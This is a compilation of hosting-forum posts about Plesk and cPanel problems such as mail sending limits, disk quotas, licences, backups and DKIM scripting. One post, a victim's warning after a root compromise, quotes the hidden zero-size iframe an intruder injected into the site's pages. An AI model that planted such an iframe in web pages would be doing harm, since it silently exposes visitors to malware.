Plesk 12.x / Linux :: Customer Email Hacked / Exceeded Limits Warning
Dec 13, 2014
For some reason one of my customers email accounts seems to have been hacked. My admin account continues to say that the customer has reach over the 30 emails per hour limit. This is the email error:
following customers' domains, mailboxes and subscriptions are reached their limits for outgoing emails for the period:>From Dec/13/2014 05:47. To Dec/ 13/ 2014 06:47
Subscriptions
customerdomain.com, the limit is 100 messages per hour
336 attempt(s) to exceed limits from Dec/13/2014 04:31 to Dec/13/2014 05:47
So far it has sent over 5,000 attempted in the past few hours. The customer used gmail to send from domain before, so I've changed their gmail email password. I've also changed the main email password, and the plesk username and password login for the customer. It still continues
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Dec 15, 2014
Reseller account receives the email:
-----Original Message-----
From: Provider Co. [mailto:<email>]
Sent: <date>
To: <customer name>
Subject: Notification: Resource limits exceeded by reseller account.
The <account name> account is approaching or already exceeded the limits:However, no exceeded or close to exceeded resources were found.This is in the KB, but no date is on it. Has this been fixed?URL...
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Mar 26, 2015
How can I get access to configure and resend the welcome email that goes out to new customers/domains?
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Jun 30, 2007
I do not have resource limit enabled, should i enabled all the reseller settings with these words? for eg: Quota Modification (Warning: This will allow circumvention of account package limits if you are not using resource limits)?
I want to allow resellers to create any amount of accounts within the limit allocated to them, should i then enable or disable it?
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Feb 25, 2015
I'm now with a bit of a problem on my server. I tryied to add a new domain and I haven't counted how many domains I had on my server because I was thinking that plesk would warn me if I was reaching my limitation of domains, so I added a new one...
My license was for 10 domains, and now I have 11 domains so I'm getting an error when I enter my plesk panel. The error basically says that I exceeded the number of domains of my license so I have to buy a new one.
The problem is that when I want to click on the cancel operation button on the bottom of the page I'm constantly being logged out and I cannot cancel the operation, so I'm in a loop right now: "Log in -> get error -> Cancel -> Automatic log out -> Log in"
What can I do to delete one domain completely from my server?
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Sep 18, 2014
we have a Problem with one of our customers there hosted by Plesk 11.5.30 Update #47.
If a mail was sent to the mail address from our customer, postfix log the following entry:
Code:
/usr/lib/plesk-9.0/psa-pc-remote[28391]: handlers_stderr: DATA Mailbox full#015#012DEFER
/usr/lib/plesk-9.0/psa-pc-remote[28391]: DEFER during call 'check-quota' handler
/usr/lib/plesk-9.0/psa-pc-remote[28391]: Message aborted
The mail Sender will receive a Information with the error message 4.2.2 Mailbox full
But the quota is not exceeded. The quota is 3GB and the assignment is perhaps 20 percent.
We have configured, that we became a mail if the quota from our customer is oversized. But we also become no mail that the quota is oversized.
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May 21, 2014
I have a script which checks the mailboxes of all clients to notify them when they're reaching capacity.
This does so by checking the psa database for their set limit and matching that to the maildirsize file within the user's Maildir directory.
After upgrading, though, my SQL query no longer works - it was:
Code:
SELECT clients.email as owner_email, domains.id, domains.name, Limits.value AS domain_quota, mail.mail_name, mail.mbox_quota from Limits, clients, domains, mail WHERE mail.postbox='true' AND limit_name = 'mbox_quota' AND domains.limits_id = Limits.id AND mail.dom_id = domains.id AND clients.id = domains.cl_id ORDER BY domains.name ASC
However, on closer inspection, all values in the domains table for limit_id are NULL.
Has this changed in 11.5? Is there an alternative way to quickly get all limits for domains?
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Oct 1, 2014
I just configured the limit for outgoing mail. It works well, but I have still some questions.
Normally the server sends bounce messages in HTML and in german. They look nice and what is much more important, the users who do not speak english are informed what is going on.
The message that is send, when the limit for outgoing mail is exceeded uses a different template. It is delivered in plain text and after explaining in german that the mail could not be send, it states the reason in english.
Is there any way to edit this bounce message, so that a translation could be added?
I had some users complaining that the server is not working, because they tried again and again to send a mail and kept the counter over the limit. For they did not understand what was causing it.
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Jul 27, 2014
How do you reset the outgoing mail limits report?I have been doing some testing and I don't want the report to show that some of my domains are over their limits.
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Jul 16, 2008
On 4/11 at 5:30pm, my server's root was compromised and someone had a field day on my server. Surprisingly with the level of access they had, the person very quietly ran a script (I've yet to find the file, but saw reference to it in another forum about this) that updated every single .html, .htm, and *index.php file in the homes directory. I can't even count how many files were edited -- atleast 100-200 files I've had to manually change thus far.
That said, I wanted to warn everyone about this. My google results were slim on this subject. What I find really surprising is that Avast! is the only anti-virus software to warn me of the possible malware being opened. I use either at home or at my office Avast!, BitDefender 2008, Symantec Corporate Antivirus, and McAfee corporate Antivirus. I just installed Avast! yesterday just for "peace of mind" and I'm damned glad that I did because it immediately popped up about HTML:iframe-gen malware on my websites.
I have enabled e-mail sending whenever someone logs into the root account on my server -- which I believe I received the tutorial from here in the How-To section -- and I did receive an e-mail for the person logging into the root account via SSH, but the IP address and hostname was left blank. Does anyone know why the IP and hostname would be blank? That doesn't mean they were console, does it?
Here is the HTML code that was inserted into all of my .htm, .html, and *index.php files:
<iframe src=[url] width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
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Mar 3, 2015
I am having problems with two accounts, I get the following errors:
Code:
Failed to copy files storage to destination path. stderr: filemng: Cannot open destination file '/var/www/vhosts/domain.tld/httpdocs/index.html.Chn3rn' System error 122: Disk quota exceeded stdout: filemng: Cannot open destination file '/var/www/vhosts/domain.tld/httpdocs/index.html.Chn3rn' System error 122: Disk quota exceeded
I have run the command
Code:
quotacheck -avugfm
And the output from the command
Code:
df -i
is:
Code:
Filesystem Inodes IUsed IFree IUse% Mounted on
/dev/vzfs 20000000 1542375 18457625 8% /
/dev/simfs 20000000 1542375 18457625 8% /tmp
/dev/simfs 20000000 1542375 18457625 8% /var/tmp
none 1415577 113 1415464 1% /dev
I am at a loss, I don't know what else to try.
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Aug 14, 2014
We get a lot of warning for one and the same domain during backups:
Code:
Warning: hosting "domain.com"
Encoding::encode: source UTF-8 encoding declared, but invalid UTF-8 sequence occured. Falling back to ISO-8859-1
How may we solve it?
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Feb 27, 2015
When I click upgrade now at the plesk panel I get following error:
Parallels Panel pre-upgrade check... WARNING: The proftpd FTP service will fail to start in case the support for IPv6 is disabled on the server. Please check [URL] .... for details.
Is it safe to proceed? I guess it shall be automatically?
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Jun 1, 2015
I am trying to transfer a subscription to another customer but it fails with this error message...
this subscription requires more resources than can be provided by the new owner's provider
I can't find any limits for a customer so I don't know why it won't transfer. This is plesk 12.
Is there a limit somewhere as to how many subscriptions a customer can have?
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Apr 8, 2015
unfortunately I can not move a customer to another reseller, because of this error:
"Einige der ausgewählten Kunden wurden nicht zu **** **** verschoben. Der ausgewählte Reseller besitzt nicht die Berechtigung 'Verwaltung der DNS-Zonen', aber einige der Kunden besitzen sie."
which means "Some of the selected customers could not be moved to **** ***. The selected reseller does not have permission to configure DNS-Zones, but some of the customers do."Well, the customer does not have this permission, because no DNS-service is installed on the server.If I check the customer's permissions there is no point "DNS configuration" or something like that.
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Jul 23, 2015
I'm using this script as a cron to generate DKIM keys for the domains I have. It's an easy script. And it does it's job just OK. I have the necessary software installed and configured.
The way it works is:
The script check if the domain in queue has a record for it. If it doesn't, OpenDKIM generates a one time DKIM record for mail._domainkey that I am entering to my dns records for all the domains I have.
After creating the DKIM record, it checks and deletes mail._domainkey records if there's any. Then adds the generated DKIM to plesk dns zones and disables/enables greylisting to create the appropriate dns entry.
If it does have a DKIM recors on the hdd already, then it removes
mail._domainkeyand
TXT o=-entries.
After that it basically adds the already generated DKIM record and it disables/enables the greylisting for each domain in order to recreate "TXT o=-"
Up till here, it works fine. I can see these entries when I check the DNS Settings. They are there.
But whenever I run this script either via cron or manually, I get an error message on my panel: (You can check the screenshot as well)
Code:
Warning: The DNS zone was modified. If you would like to apply DNS template changes to this zone, either click the 'Apply DNS Template Changes' button on this page or choose the 'Apply the changes to all zones' option in Server Administration Panel > Tools & Settings > DNS Template Settings > Apply DNS Template Changes.
And unless I manually click "Apply DNS Template Changes" for EVERY SITE it doesn't go away.
So, I was wondering, is there a way to scriptize that command? Or how to prevent it?
This is the command I use to generate DKIM and add it to Plesk database, also if any such record exists, delete and re-write it:
Code:
#!/bin/sh
ADMIN_PASS=`cat /etc/psa/.psa.shadow`
MYSQL_BIN_D=`grep MYSQL_BIN_D /etc/psa/psa.conf | awk '{print $2}'`
mysql="${MYSQL_BIN_D}/mysql -N -uadmin -p${ADMIN_PASS} psa"
query="select name from domains;"
domains=`echo $query | $mysql `
for i in ${domains}; do
echo "Processing $i"
[Code] ....
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Jan 20, 2015
When i add a Domain or Subdomain through Plesk Panel, I get the following Warning :
Attention: relink-vhost-logs failed: mkdir: cannot create directory `./vps118861.ovh.net/logs': File exists ERROR: Cannot relink logs. Target directory '/var/www/vhosts/vps118861.ovh.net/logs' is in invalid state.
[URL]
I tried the 2 solutions but I still have the error... here are the results of the two commands :
[root@vps118861 logs]# ls -alh
total 2,3M
drwxr-xr-x 16 administrateur root 4,0K 20 janv. 13:59 .
[Code]....
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Jan 24, 2015
i am getting this error on a fresh installed machine:
Code:
root@srv1 ~ # /usr/local/psa/admin/sbin/httpdmng --reconfigure-domain domain.tld
Warning: Current locale is unusable. Using 'C' instead.
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Jan 4, 2015
Came across an answer within google, but wanted to make sure I have an updated tutorial to prevent crashing the mysql and or server as others did.
How can we reset all customer account passwords at once, whether it be a preset one and or random?
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Oct 1, 2009
Currently on my WHM/cPanel servers, I have a hard limit encoded for the amount of mail a client can send per hour. (whm, tweak settings). Is there a way to over ride this for one domain/client, or is it global?
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Jul 12, 2014
How can I do to send email without the security warning?
I want the clients sending mails no longer have a security warning.
I tried with SSL port 465
I tried with port 587 TLS> Mail settings for the entire server> Enable Send Message
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Jul 17, 2014
OS = CentOS 6.5 (Final)
Plesk version = 12.0.18 Update #7, last updated at July 11, 2014 12:46 PM
I have been trying to make my sites better suited to anti spam measures. The only warning I have left to work out is:
Warning - Reverse DNS does not match SMTP Banner
In the Plesk settings i do have the outgoing mail setting set to Send from domain IP addresses and use domain names in SMTP greeting - still I get the warning.
I am using Post fix. This is a 1and1 dedicated server and I am using custom name servers for this domain. I believe the smtp banner is matching the main ip and not the domain.
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Jul 12, 2015
I am trying to transfer a subscription from one customer to another but comes with the error:
Code:
Warning: Unable to continue subscription transfer: this subscription requires more resources than can be provided by the new owner's provider.
I tried the following: ~# /usr/local/psa/bin/domain --update %domain.tld% -publish-sb-site false as per [URL] ....
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Jul 17, 2014
I have some problem with my parse_url after last update of Plesk Panel.I ran the test script on my server and on my local computer, and received the following result: Local computer:
HTML:
Array ( [path] => product_features.clear_list [query] => redirect_url=http://www.siteExample.com )
My server:
HTML:
Array ( [host] => product_features.clear_list?redirect_url=http [path] => //www.siteExample.com )
As you can see, the structure of the output data is not identical as it should be.
Test script that I used:
Code:
<?php
$test = 'product_features.clear_list?redirect_url=http://www.siteExample.com';
$test1 = parse_url($test);
print_r($test1);
?>
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Dec 21, 2013
I keep getting this warning on one of my domains.
I was running on a Ubuntu 10.04 LTS VPS and had this error too, then yesterday imported the domain from the old VPS to our new Plesk Server (Ubuntu 12.04.3 LTS) and I still get this error on this one domain.
This is the error in question...
Warning:hosting "mydomain.tld"
Failed to pack files Backup_mydomain.tld_user-data_1311120042 in /var/lib/psa/dumps/domains/mydomain.tld [ 49562925056 bytes free of 53687091200 bytes total on mount point 0]
Warning:hosting "mydomain.tld"
For security reason backup is performed on behalf of subscription system user. System user has no read access to backup file.Click to expand...
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Oct 9, 2014
we are getting the following error message during our scheduled backup..Warning: mysql "wordpress_9"...Not all the data was backed up into /mnt/backup/web03/domains/domain.com.au/databases/wordpress_9_1 successfully. Use of chdir('') or chdir(undef) as chdir() is deprecated at /opt/psa/PMM/agents/shared/Storage/Bundle.pm line 39.
mysqldump: Error 2013: Lost connection to MySQL server during query when dumping table `backupdb_wp_commentmeta` at row: 717
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Jul 26, 2014
Not sure if all notifications are working or not but I do know that when I create a new customer with a new subscription no notification is received. I have tested with several email addresses.
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Jun 5, 2014
I use whmcs to bill my cusotmers. when a account is created, plesk sends mail from admin email and name to customer as below,
A new domain name has been created.
Domain name: xxx.xxx
Domain name owner: xxxx xxxxx
IP address associated with the domain name: xxx.xxx.xxx.xxx
How can I disable it ? it ends up in spam and I just don't want customers to receive it.
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Feb 13, 2009
I am looking at a VPS purely to outsource email sending to.
I curently use a cloud system - which is great - but they limit my email sending.
I need to send 25,000 a day and 10,000 during a one hour period.
Will any VPS allow this? Who?
Is this recommended.
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Apr 18, 2009
I have take some weeks ago a VPS with 40 giga space and 386mb dedicated ram and all is managed with WHM/Cpanel. I need to know how I must set the limit of sending email per hours...In fact I see all hosting company limit that to more less 500 email per hour. I know this limit depend of lot factor like number of account on server and activity or users...
I ask that because my users will have Joomla installed with a Newletter component and so something this component will be used for send monthly newletter...
Do you have some experience with that ? How have you set your email limit? How much users have you on your server?
Other question: If for example I set limit to 500 email per hours and a user send 1000 email...what happend to the 500 other email? It will be put on queue and send the next hours or it will be lost?
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